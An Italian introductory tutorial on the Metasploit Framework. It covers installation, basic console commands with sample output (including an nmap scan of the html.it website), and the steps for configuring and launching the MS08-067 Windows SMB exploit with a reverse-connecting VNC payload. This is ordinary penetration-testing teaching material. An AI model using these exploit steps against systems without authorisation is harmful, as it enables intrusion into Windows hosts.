Metasploit Framework è uno strumento il cui scopo è quello di permettere ad un tester di scrivere velocemente exploit e di automatizzarne l'esecuzione. All'interno del tool sono disponibili una libreria di exploit per le più comuni (e non) vulnerabilità, un'archivio di payloads e strumenti di utilità pronti all'uso.
La grande diffusione di questo strumento ha fatto si che, ad oggi, molte advisories vengano accompagnate da moduli pronti per essere testati su Metasploit.
Installazione Metasploit
Metasploit è installabile su qualsiasi piattaforma purché sia disponibile l'interpete Ruby (linguaggio in cui è scritto il tool). Esistono pacchetti pronti per le varie piattafome che è possibile reperire sul sito ufficiale.
Per i meno pazienti è possibile utilizzare una macchina virtuale con Backtrack che include una installazione di Metasploit di default. In questo caso sarebbe opportuno aggiornare il framework all'ultima versione, da terminale:
$ msfupdate
O alternativamente fare l'aggiornamento direttamente via svn:
$ cd cartella-di-installazione-di-metasploit $ svn up
Console Metasploit
È possibile lanciare Metasploit da console o da interfaccia grafica.
Per lanciare la console basta utilizzare da una shell il comando (si presume di essere in ambiente linux):
$ msfconsole
Altrimenti per l'interfaccia grafica:
$ msfgui
In generale è più complicato, almeno all'inizio, gestire uno strumento da linea di comando piuttosto che da una interfaccia grafica. Per Metasploit vale la stessa regola ma vi invito comunque ad utilizzare la console perché permette un controllo più capillare e completo sullo strumento - dopo aver imparato i comandi base potrete comunque passare liberamente ad utilizzare una gui con uno sforzo nullo.
Lanciamo dunque la console:
$ msfconsole
Se la console viene lanciata senza errori, dopo una serie di messaggi di benvenuto, dovremmo trovarci di fronte ad un prompt come questo:
msf >
La prima cosa da sapere è come invocare l'help che ci fornirà una lista dei comandi disponibili:
msf > help
Comandi Metasploit
Vediamo adesso alcuni dei comandi più utili, il primo dei quali è sicuramente connect
che permette di connetterci ad un host remoto (similmente a netcat o telnet):
msf > connect www.html.it 80 [*] Connected to www.html.it:80
Esistono poi comandi come ping
e nmap
che non hanno bisogno di grandi presentazioni:
msf > ping www.html.it [*] exec: ping www.html.it PING www.html.it (151.1.244.200): 56 data bytes 64 bytes from 151.1.244.200: icmp_seq=0 ttl=56 time=54.674 ms 64 bytes from 151.1.244.200: icmp_seq=1 ttl=56 time=47.335 ms 64 bytes from 151.1.244.200: icmp_seq=2 ttl=56 time=47.044 ms msf > nmap -T5 -A www.html.it [*] exec: nmap -T5 -A www.html.it Starting Nmap 5.51 ( http://nmap.org ) at 2012-05-20 18:31 CEST Nmap scan report for www.html.it (151.1.244.200) Host is up (0.050s latency). Not shown: 996 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.20 ((Ubuntu)) | http-robots.txt: 3 disallowed entries |_/articoli/stampa/ / /ads_pages/ |_http-title: HTML.it |_http-favicon: |_http-methods: No Allow or Public header in OPTIONS response (status code 200) 443/tcp closed https 1863/tcp open msnp? 5190/tcp open aol? Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 130.40 seconds
E l'utilisismo irb
che ci mette a disposizione un interpreet interattivo Ruby per scrivere script al volo:
msf > irb [*] Starting IRB shell... /System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/universal-darwin10.0/readline.bundle: warning: already initialized constant HISTORY /System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/universal-darwin10.0/readline.bundle: warning: already initialized constant FILENAME_COMPLETION_PROC /System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/universal-darwin10.0/readline.bundle: warning: already initialized constant USERNAME_COMPLETION_PROC /System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/universal-darwin10.0/readline.bundle: warning: already initialized constant VERSION >>
In generale per avere più informazioni sull'utilizzo di qualsiasi comando basta invocare l'help dedicato:
msf > nomecomando -h
Vediamo adesso i comandi per interagire con le librerie di exploit e payload. Il primo da conoscere è show
che serve per mostrare il contenuto delle librerie, ad esempio:
msf > show exploits
Con questo comando verrà stampata la lista di tutti gli exploit presenti.
Per visualizzare i payload similmente useremo:
msf > show payloads
Per cercare un elemento specifico possiamo servirci del comando search
:
msf > search cve:2009 type:exploit app:client
Search utilizza keyword (type, app, platform, name, etc) per affinare la ricerca. Al solito è buona norma consultare l'help del comando per avere un'idea di tutte le sue funzionalità:
msf > search -h
Lanciare un exploit con Metasploit
Una volta presa confidenza con la console possiamo provare ad utilizzare un exploit tra quelli presenti.
Il comando per selezionare l'exploit da lanciare è use
, in questo modo:
msf > use exploit/windows/smb/ms08_067_metapi
Il comando supporta l'auto completamento (tasto TAB) per aiutarci a navigare nella directory dei vari moduli presenti esattamente come una shell. Una volta selezionato un exploit e premuto invio il prompt cambia:
msf exploit(ms08_067_netapi) >
Per prima cosa dobbiamo farci un'idea di quali parametri servono all'exploit per essere eseguito, quindi utilizzeremo il comando show options
:
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/vncinject/reverse_tcp_dns): Name Current Setting Required Description ---- --------------- -------- ----------- AUTOVNC true yes Automatically launch VNC viewer if present EXITFUNC thread yes Exit technique: seh, thread, none, process LHOST yes The DNS hostname to connect back to LPORT 4444 yes The listen port VNCHOST 127.0.0.1 yes The local host to use for the VNC proxy VNCPORT 5900 yes The local port to use for the VNC proxy Exploit target: Id Name -- ---- 0 Automatic Targeting
Per informazioni dettagliate sull'exploit c'è il comando info
.
Per settare i parametri richiesti si utilizza il comando set
(e unset
per ripristinare), ad esempio per settare il valore del parametro RHOST (remote host):
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.100
Se l'exploit lo permette possiamo settare un payload da utilizzare per l'attacco:
msf exploit(ms08_067_netapi) > set payload windows/vncinject/reverse_tcp_dns
Una volta inizializzati tutti i parametri possiamo verificare che il bersaglio sia effettivamente vulnerabile al nostro exploit utilizzando il comando check
:
msf exploit(ms08_067_netapi) > check
E infine possiamo lanciare l'exploit con il comando exploit:
msf exploit(ms08_067_netapi) > exploit
Conclusioni
In questo articolo abbiamo visto i comandi base per iniziare ad utilizzare Metasploit Framework. Ovviamente c'è molto altro da scoprire e ci sono molto cose che si possono fare oltre a lanciare exploit che vedremo nei prossimi articoli.
Nel frattempo vi consiglio di sperimentare i comandi presentati e di spulciare la documentazione ufficiale che presenta molte guide scritte direttamente dagli utenti e che potranno aiutarvi a familiarizzare con questo strumento più velocemente.